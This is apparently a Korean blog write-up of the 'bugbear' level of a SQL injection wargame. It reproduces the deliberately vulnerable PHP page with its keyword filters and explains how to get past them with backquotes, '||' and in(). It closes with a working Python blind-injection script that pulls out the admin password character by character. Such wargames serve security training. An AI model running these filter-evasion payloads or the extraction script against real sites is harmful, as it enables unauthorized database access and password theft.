<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
대충만 봐도 강적이다. 전사 공격문제로 생각되는데 내가 주로 쓰는 거의 대부분이 차단되어 있다
이번에도 no에는 quotes가 없으니까 no로 쿼리를 만들어봐야한다. 띄어쓰기도 안되고 '도 안될땐 ` 를 쓴다. back quote 라고 하는데
이런식으로 구성하면 된다.
select id from prob_bugbear where id='guest' and pw='' and no=1||`id`in("admin")
이러면 띄어쓰기도 없이 쿼리를 true로 만들 수 있다. like대신엔 in을 쓰고 ' 대신엔 " 를 쓰자
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests
headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=;'}
url = "http://los.eagle-jump.org/bugbear_.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
loop = 0
pw = ''
for j in range(1,30):
data = "1||`id`in(\"admin\")&&length(`pw`)in(\"{}\")".format(j)
data = requests.utils.quote(data)
r = requests.get(url+'?no='+data,headers=headers)
if r.text.find('Hello admin') != -1 :
loop = j
break
print loop
for i in range(1,loop+1):
for j in string:
data = "1||`id`in(\"admin\")&&right(left(`pw`,{}),1)in(\"{}\")".format(i,j)
data = requests.utils.quote(data)
r = requests.get(url+'?no='+data,headers=headers)
if r.text.find('Hello admin') != -1 :
pw = pw + j
print "[!] found",pw
break
print pw
띄어쓰기를 못하는 문제는 가끔 답답하다